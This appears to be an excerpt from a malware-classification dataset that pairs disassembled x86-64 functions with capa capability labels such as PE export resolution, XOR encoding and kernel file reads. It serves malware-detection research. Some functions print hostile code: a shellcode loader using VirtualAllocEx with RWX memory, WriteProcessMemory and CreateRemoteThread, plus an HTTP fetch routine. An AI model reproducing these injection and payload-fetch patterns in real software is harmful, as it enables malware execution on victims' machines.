joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010e8
Capabilities:
Get file attributes
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [0x140008910]
xor rax, rsp
mov qword [rbp + 0x4f], rax
lea rdx, [0x140004580]
lea rcx, [rbp - 9]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
and qword [rbp + 0xf], 0
lea rax, [rbp - 9]
xorps xmm0, xmm0
mov qword [rbp + 0x17], rax
movdqu xmmword [rbp + 0x27], xmm0
mov dword [rbp + 7], 0x30
mov dword [rbp + 0x1f], 0x240
mov rax, cr8
test al, al
je 0x14000114e
mov eax, 0xc0000001
jmp 0x14000129e
and dword [rsp + 0x50], 0
lea r9, [rbp - 0x19]
and qword [rsp + 0x48], 0
lea r8, [rbp + 7]
mov dword [rsp + 0x40], 0x20
lea rcx, [rbp - 0x29]
mov dword [rsp + 0x38], 1
mov edx, 0x80000000
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x28], 0x80
and qword [rsp + 0x20], 0
call qword [sym.imp.ntoskrnl.exe_ZwCreateFile]
mov ebx, eax
test eax, eax
js 0x140001288
mov rcx, qword [rbp - 0x29]
lea r8, [rbp + 0x37]
and dword [rbp + 0x37], 0
lea rdx, [rbp - 0x19]
xor eax, eax
mov dword [rsp + 0x20], 5
mov qword [rbp + 0x3b], rax
mov qword [rbp + 0x43], rax
mov dword [rbp + 0x4b], eax
lea r9d, [rax + 0x18]
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationFile]
xor edx, edx
xor ecx, ecx
mov ebx, eax
test eax, eax
js 0x14000126c
mov r9d, dword [rbp + 0x3f]
lea r8, [0x1400045c0]
mov dword [0x140008948], r9d
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov edx, dword [0x140008948]
mov cl, 1
call fcn.140003eb8
and qword [rsp + 0x40], 0
lea rcx, [rbp - 0x21]
and dword [rbp - 0x1d], 0
xor r9d, r9d
and dword [rbp - 0x21], 0
xor r8d, r8d
mov qword [rsp + 0x38], rcx
xor edx, edx
mov ecx, dword [0x140008948]
mov dword [rsp + 0x30], ecx
mov rcx, qword [rbp - 0x29]
mov qword [rsp + 0x28], rax
mov qword [0x140008940], rax
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_ZwReadFile]
mov ebx, eax
test eax, eax
jns 0x14000127c
mov rcx, qword [0x140008940]
call fcn.140003f08
xor edx, edx
lea r8, [0x140004600]
xor ecx, ecx
mov r9d, ebx
jmp 0x140001276
mov r9d, eax
lea r8, [0x140004640]
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov rcx, qword [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x14000129c
mov r9d, eax
lea r8, [0x140004690]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140003f30
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
pop rbp
ret
Function at 0x1400012bc
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], r8
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov eax, 0x5a4d
mov r8d, edx
mov rbp, rcx
cmp word [rcx], ax
je 0x1400012fe
lea r8, [0x140004720]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
or eax, 0xffffffff
jmp 0x14000146b
movsxd rsi, dword [rcx + 0x3c]
add rsi, rcx
cmp dword [rsi], 0x4550
je 0x140001316
lea r8, [0x140004760]
jmp 0x1400012ec
mov eax, 0x20b
cmp word [rsi + 0x18], ax
lea rax, [rsi + 0x88]
je 0x14000132c
lea rax, [rsi + 0x78]
mov r13d, dword [rax]
mov rcx, rsi
mov eax, dword [rax + 4]
mov edx, r13d
mov dword [rsp + 0x88], eax
call fcn.140001480
or edi, 0xffffffff
cmp eax, edi
jne 0x140001357
lea r8, [0x1400047a0]
jmp 0x14000145f
mov ebx, eax
mov rcx, rsi
add rbx, rbp
mov eax, dword [rbx + 0x18]
mov edx, dword [rbx + 0x1c]
mov dword [rsp + 0x70], eax
call fcn.140001480
mov edx, dword [rbx + 0x24]
mov rcx, rsi
mov r15d, eax
call fcn.140001480
mov edx, dword [rbx + 0x20]
mov rcx, rsi
mov r14d, eax
call fcn.140001480
cmp r15d, edi
je 0x140001458
cmp r14d, edi
je 0x140001458
cmp eax, edi
je 0x140001458
lea rcx, [r15 + rbp]
add r14, rbp
mov r15d, eax
xor r12d, r12d
add r15, rbp
mov qword [rsp + 0x20], rcx
mov ebx, edi
cmp dword [rsp + 0x70], r12d
jbe 0x14000143b
mov edx, dword [r15]
mov rcx, rsi
call fcn.140001480
cmp eax, edi
je 0x140001419
mov rdx, qword [rsp + 0x20]
mov ecx, eax
movzx eax, word [r14]
add rcx, rbp
mov edx, dword [rdx + rax*4]
cmp edx, r13d
jb 0x1400013f5
mov eax, dword [rsp + 0x88]
add eax, r13d
cmp edx, eax
jb 0x140001419
mov r10, qword [rsp + 0x80]
sub r10, rcx
movzx eax, byte [rcx]
movzx r9d, byte [rcx + r10]
sub eax, r9d
jne 0x140001415
inc rcx
test r9d, r9d
jne 0x140001400
test eax, eax
je 0x14000142d
inc r12d
add r15, 4
add r14, 2
cmp r12d, dword [rsp + 0x70]
jae 0x14000143b
jmp 0x1400013c2
mov rcx, rsi
call fcn.140001480
mov ebx, eax
cmp eax, edi
jne 0x140001454
mov r9, qword [rsp + 0x80]
lea r8, [0x140004820]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, ebx
jmp 0x14000146b
lea r8, [0x1400047e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, edi
mov rbx, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001480
Capabilities:
Enumerate pe sections

Disassembly:
movzx eax, word [rcx + 0x14]
lea r9, [rcx + 0x18]
movzx r11d, word [rcx + 6]
add r9, rax
xor r10d, r10d
test r11d, r11d
jle 0x1400014b4
mov ecx, dword [r9 + 0xc]
cmp ecx, edx
ja 0x1400014a8
add ecx, dword [r9 + 8]
cmp ecx, edx
ja 0x1400014b8
add r9, 0x28
inc r10d
cmp r10d, r11d
jl 0x140001498
or eax, 0xffffffff
ret
mov ecx, dword [r9 + 0x14]
or eax, 0xffffffff
sub ecx, dword [r9 + 0xc]
add edx, ecx
cmp edx, r8d
cmovb eax, edx
ret
Function at 0x140001b28
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
push r14
push r15
sub rsp, 0x20
and dword [rsp + 0x50], 0
mov r14, rdx
mov r15, rcx
mov edx, 0x400
mov ecx, 1
mov r8d, 0x54585342
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
xor edx, edx
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rsi, rax
lea edi, [rdx + 0xb]
mov ecx, edi
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov edx, dword [rsp + 0x50]
lea ecx, [rdi - 0xa]
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rbx, rax
test rax, rax
jne 0x140001baf
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea r8, [0x140004c70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
mov eax, 0xc0000001
jmp 0x140001c5a
mov r8d, dword [rsp + 0x50]
xor r9d, r9d
mov rdx, rax
mov ecx, edi
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov edi, eax
test eax, eax
jns 0x140001bf3
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
lea r8, [0x140004ca0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_DbgPrintEx]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov eax, edi
jmp 0x140001c5a
xor edi, edi
cmp dword [rbx], edi
jbe 0x140001c42
mov eax, edi
imul rcx, rax, 0x128
add rcx, 0x30
add rcx, rbx
call sub.ntoskrnl.exe__strlwr
mov rcx, rax
lea rdx, [0x140004cd0]
call sub.ntoskrnl.exe_strstr
test rax, rax
jne 0x140001c2a
inc edi
cmp edi, dword [rbx]
jb 0x140001bf9
jmp 0x140001c42
mov eax, edi
imul rcx, rax, 0x128
mov rax, qword [rcx + rbx + 0x18]
mov qword [r15], rax
mov eax, dword [rcx + rbx + 0x20]
mov dword [r14], eax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x140001ff8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov r14, rdx
mov r10, rcx
xor r9d, r9d
test rcx, rcx
jne 0x140002022
xor eax, eax
jmp 0x1400020e1
mov qword [rsp + 8], r9
mov qword [rsp + 0x10], r9
movsxd rax, dword [rcx + 0x3c]
test r8b, r8b
je 0x14000203e
add rcx, 0x88
jmp 0x140002042
add rcx, 0x78
add rcx, rax
mov ecx, dword [rcx]
add rcx, r10
mov esi, dword [rcx + 0x1c]
add rsi, r10
mov r8d, dword [rcx + 0x20]
add r8, r10
mov qword [rsp + 8], r8
mov edx, dword [rcx + 0x24]
add rdx, r10
mov qword [rsp + 0x10], rdx
test r14d, 0xffff0000
jne 0x140002079
movzx eax, r14w
sub eax, dword [rcx + 0x10]
jmp 0x1400020b2
mov ecx, dword [rcx + 0x18]
mov dword [rsp], ecx
mov eax, ecx
dec ecx
mov dword [rsp], ecx
test eax, eax
je 0x1400020d4
mov eax, dword [r8]
add rax, r10
mov rdi, r14
sub rdi, rax
movzx r11d, byte [rax]
movzx ebx, byte [rax + rdi]
sub r11d, ebx
jne 0x1400020aa
inc rax
test ebx, ebx
jne 0x140002096
test r11d, r11d
jne 0x1400020c0
movzx eax, word [rdx]
mov r9d, dword [rsi + rax*4]
add r9, r10
mov qword [rsp + 0x18], r9
jmp 0x1400020d4
add r8, 4
mov qword [rsp + 8], r8
add rdx, 2
mov qword [rsp + 0x10], rdx
jmp 0x14000207f
jmp 0x1400020de
mov rax, r9
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x14000a000
Capabilities:
Create device object

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
call fcn.14000a02c
mov rdx, rbx
mov rcx, rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.1400036c8
Function at 0x180004ac0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x18000003c]
lea rsi, [0x180000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x180004b38
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x180004b38
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x180004b38
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x180004b2c
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x180004b4a
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x180004b1a
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x180004b3a

Function at 0x1800077af
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
cmp edx, 1
jne 0x18000785f
mov rcx, qword [str.KERNEL32.dll]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor edx, edx
movsxd r9, dword [rax + 0x3c]
add r9, rax
movzx r8d, word [r9 + 6]
movzx ecx, word [r9 + 0x14]
test r8, r8
je 0x180007806
add rcx, 0x3c
add rcx, r9
cmp dword [rcx], 0
jl 0x180007806
inc rdx
add rcx, 0x28
cmp rdx, r8
jl 0x1800077f5
mov ebx, dword [r9 + 0x28]
mov r8d, 0x40
mov rdx, qword [0x180022449]
lea r9, [rsp + 0x38]
add rbx, rax
mov dword [rsp + 0x38], 0
mov rax, qword [0x180022451]
sub edx, eax
mov eax, edx
mov edx, dword [0x180022471]
sub rbx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [0x180022471]
mov rcx, rbx
mov rdx, qword [0x180022451]
call fcn.18000773f
mov rbx, qword [rsp + 0x20]
mov eax, 1
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbx
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0xa0]
xor r12d, r12d
xor r9d, r9d
mov dword [rsp + 0x40], r12d
xor r8d, r8d
mov dword [rsp + 0x44], r12d
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
mov ebx, r12d
mov edi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
je 0x1400011ff
lea r8d, [r12 + 0x50]
mov qword [rsp + 0x80], rbp
xor r9d, r9d
lea rdx, str.www.example.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbp, rax
test rax, rax
je 0x1400011c0
mov dword [rsp + 0x30], pe_nt_image_headers64
lea r8, str._api_stat.json
mov qword [rsp + 0x28], r12
lea rdx, [0x1400032e0]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov qword [rsp + 0x88], rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
je 0x1400011af
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400011a6
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400011a6
test r14, r14
je 0x1400011a6
mov qword [rsp + 0x90], r13
lea r13, [r12 - 1]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov rcx, rsi
mov dword [rsp + 0x44], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x14000119b
test rdi, rdi
jne 0x140001154
mov ecx, dword [rsp + 0x40]
add ecx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
jmp 0x14000116a
mov edx, dword [rsp + 0x40]
mov rcx, rdi
add edx, ebx
add edx, 1
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14000119b
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov edx, ebx
mov rcx, rsi
add rdx, rax
mov rdi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000119b
add ebx, dword [rsp + 0x44]
cmp dword [rsp + 0x40], r12d
ja 0x140001120
jmp 0x14000119e
mov ebx, r12d
mov r13, qword [rsp + 0x90]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rsi, qword [rsp + 0x88]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rbp, qword [rsp + 0x80]
test ebx, ebx
jne 0x1400011ff
test rdi, rdi
je 0x1400011ff
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001370
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rbx
ret
test r14, r14
je 0x1400011e3
mov eax, ebx
test rdi, rdi
je 0x1400011e5
mov qword [r14], rdi
jmp 0x1400011e5
Function at 0x140001210
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x40
xor r14d, r14d
mov qword [rsp + 0x60], r14
nop word [rax + rax]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call section..text
mov edi, eax
test eax, eax
je 0x140001230
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x140001230
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
jne 0x14000127e
lea eax, [rsi - 1]
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret
mov qword [rsp + 0x68], rbp
mov r9d, 0x3000
mov r8, rdi
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov rcx, rsi
mov rbp, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov rcx, rsi
test rax, rax
je 0x140001342
mov r9, rbp
mov qword [rsp + 0x20], r14
mov r8, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000132a
mov qword [rsp + 0x30], r14
mov r9, rdi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x14000132a
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000134d
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x140001c38
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c82
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c82
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c82
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c82
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c82
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c84
xor al, al
add rsp, 0x28
ret
Function at 0x140128780
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140363e40]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r12, r9
mov r14, r8
mov r15, rdx
mov rsi, rcx
mov qword [rsp + 0x38], rcx
xor ebx, ebx
mov dword [rsp + 0x30], ebx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov rbp, qword [rdx + 8]
sub rbp, qword [rdx]
mov qword [rcx], rbx
mov qword [rcx + 8], rbx
mov qword [rcx + 0x10], rbx
add rbp, 0x10
je 0x1401287f6
mov rdx, rbp
call fcn.140129620
mov rcx, qword [rsi]
lea rdi, [rcx + rbp]
mov r8, rbp
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsi + 8], rdi
mov dword [rsp + 0x30], 1
call fcn.14012a4c0
mov rdi, rax
test rax, rax
je 0x1401288ec
call fcn.1401317b0
mov rdx, rax
mov qword [rsp + 0x20], r12
mov r9, r14
xor r8d, r8d
mov rcx, rdi
call fcn.14012b820
cmp eax, 1
jne 0x1401288ec
mov r9, qword [r15]
mov rax, qword [r15 + 8]
sub rax, r9
mov dword [rsp + 0x20], eax
lea r8, [rsp + 0x40]
mov rdx, qword [rsi]
mov rcx, rdi
call fcn.14012b8a0
cmp eax, 1
jne 0x1401288ec
movsxd rbp, dword [rsp + 0x40]
mov rdx, rbp
add rdx, qword [rsi]
lea r8, [rsp + 0x40]
mov rcx, rdi
call fcn.14012b5d0
cmp eax, 1
jne 0x1401288ec
add ebp, dword [rsp + 0x40]
mov rcx, rdi
call fcn.14012a440
movsxd rdx, ebp
mov rcx, rsi
call fcn.1401292f0
mov rdx, qword [rsi]
cmp qword [rsi + 8], rdx
je 0x1401288cd
nop word [rax + rax]
mov rax, rbx
and eax, 0xf
movzx eax, byte [rax + r14]
xor byte [rdx + rbx], al
mov rax, qword [rsi]
movzx ecx, byte [rax + rbx]
ror cl, 5
mov byte [rax + rbx], cl
inc rbx
mov rdx, qword [rsi]
mov rcx, qword [rsi + 8]
sub rcx, rdx
cmp rbx, rcx
jb 0x1401288a0
mov rax, rsi
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1402a72d0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.140128770
int3
Function at 0x140128900
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140363e40]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r12, r9
mov rbp, r8
mov r14, rdx
mov rsi, rcx
mov qword [rsp + 0x38], rcx
xor edi, edi
mov dword [rsp + 0x30], edi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rcx], xmm0
mov qword [rcx + 0x10], rax
mov r15, qword [rdx + 8]
sub r15, qword [rdx]
mov qword [rcx], rdi
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], rdi
je 0x140128972
mov rdx, r15
call fcn.140129620
mov rcx, qword [rsi]
lea rbx, [rcx + r15]
mov r8, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rsi + 8], rbx
mov dword [rsp + 0x30], 1
mov rcx, qword [r14]
cmp qword [r14 + 8], rcx
je 0x1401289bf
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rcx + rdi]
ror cl, 3
mov rax, qword [rsi]
mov byte [rdi + rax], cl
mov rcx, qword [rsi]
mov rax, rdi
and eax, 0xf
movzx eax, byte [rax + rbp]
xor byte [rcx + rdi], al
inc rdi
mov rcx, qword [r14]
mov rax, qword [r14 + 8]
sub rax, rcx
cmp rdi, rax
jb 0x140128990
call fcn.14012a4c0
mov rbx, rax
test rax, rax
je 0x140128a66
call fcn.1401317b0
mov rdx, rax
mov qword [rsp + 0x20], r12
mov r9, rbp
xor r8d, r8d
mov rcx, rbx
call fcn.14012b120
cmp eax, 1
jne 0x140128a66
mov rdx, qword [rsi]
mov rax, qword [rsi + 8]
sub rax, rdx
mov dword [rsp + 0x20], eax
mov r9, rdx
lea r8, [rsp + 0x40]
mov rcx, rbx
call fcn.14012b150
cmp eax, 1
jne 0x140128a66
movsxd rdi, dword [rsp + 0x40]
mov rdx, rdi
add rdx, qword [rsi]
lea r8, [rsp + 0x40]
mov rcx, rbx
call fcn.14012ad80
cmp eax, 1
jne 0x140128a66
add edi, dword [rsp + 0x40]
mov rcx, rbx
call fcn.14012a440
movsxd rdx, edi
mov rcx, rsi
call fcn.1401292f0
mov rax, rsi
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1402a72d0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.140128770
int3
Function at 0x14013e5d0
Capabilities:
Set thread local storage value

Disassembly:
mov eax, 0x28
call fcn.1402a7660
sub rsp, rax
mov ecx, dword [rcx]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
xor ecx, ecx
test eax, eax
setne cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x14013e7d0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
push rdi
push r13
mov eax, gethostbyname
call fcn.1402a7660
sub rsp, rax
mov eax, dword [0x1406873e4]
mov r13d, ecx
mov ebx, 1
cmp eax, 2
je 0x14013e843
nop word [rax + rax]
xor eax, eax
lock cmpxchg dword [0x1406873e4], ebx
je 0x14013e81d
cmp eax, ebx
je 0x14013e800
mov eax, dword [0x1406873e4]
cmp eax, 2
jne 0x14013e861
jmp 0x14013e843
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
lea r8, [0x14013e6e0]
xor edx, edx
xor ecx, ecx
mov dword [0x1406873e0], eax
call fcn.140142fa0
mov dword [0x1406873e4], 2
mov r8d, 0x97
lea rdx, str.crypto_threads_win.c
lea ecx, [r8 - 0x3f]
call fcn.140132160
mov rdi, rax
test rax, rax
jne 0x14013e86c
xor eax, eax
add rsp, 0x30
pop r13
pop rdi
pop rbx
ret
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
call fcn.140163d20
mov qword [rdi + 0x30], rax
call fcn.140163920
mov qword [rdi + 0x40], rax
call fcn.140163920
mov qword [rdi + 0x50], rax
call fcn.140163d20
mov qword [rdi + 0x38], rax
call fcn.140163d20
cmp r13d, ebx
mov qword [rdi + 0x48], rax
mov r8d, 0x85
lea rdx, str.crypto_threads_win.c
cmovge ebx, r13d
inc ebx
movsxd rbx, ebx
lea rcx, [rbx*8]
call fcn.140132160
mov qword [rdi + 0x18], rbx
mov qword [rdi + 0x10], rax
test rax, rax
je 0x14013e908
cmp qword [rdi + 0x40], 0
je 0x14013e908
cmp qword [rdi + 0x50], 0
je 0x14013e908
cmp qword [rdi + 0x30], 0
je 0x14013e908
cmp qword [rdi + 0x38], 0
je 0x14013e908
cmp qword [rdi + 0x48], 0
jne 0x14013e961
mov r8d, 0xa8
lea rdx, str.crypto_threads_win.c
mov rcx, rax
call fcn.140131ed0
lea rcx, [rdi + 0x40]
call fcn.140163880
lea rcx, [rdi + 0x50]
call fcn.140163880
lea rcx, [rdi + 0x38]
call fcn.140163cb0
lea rcx, [rdi + 0x48]
call fcn.140163cb0
lea rcx, [rdi + 0x30]
call fcn.140163cb0
mov r8d, 0xae
lea rdx, str.crypto_threads_win.c
mov rcx, rdi
call fcn.140131ed0
xor edi, edi
mov r15, qword [rsp + 0x20]
mov rax, rdi
mov r14, qword [rsp + 0x28]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop r13
pop rdi
pop rbx
ret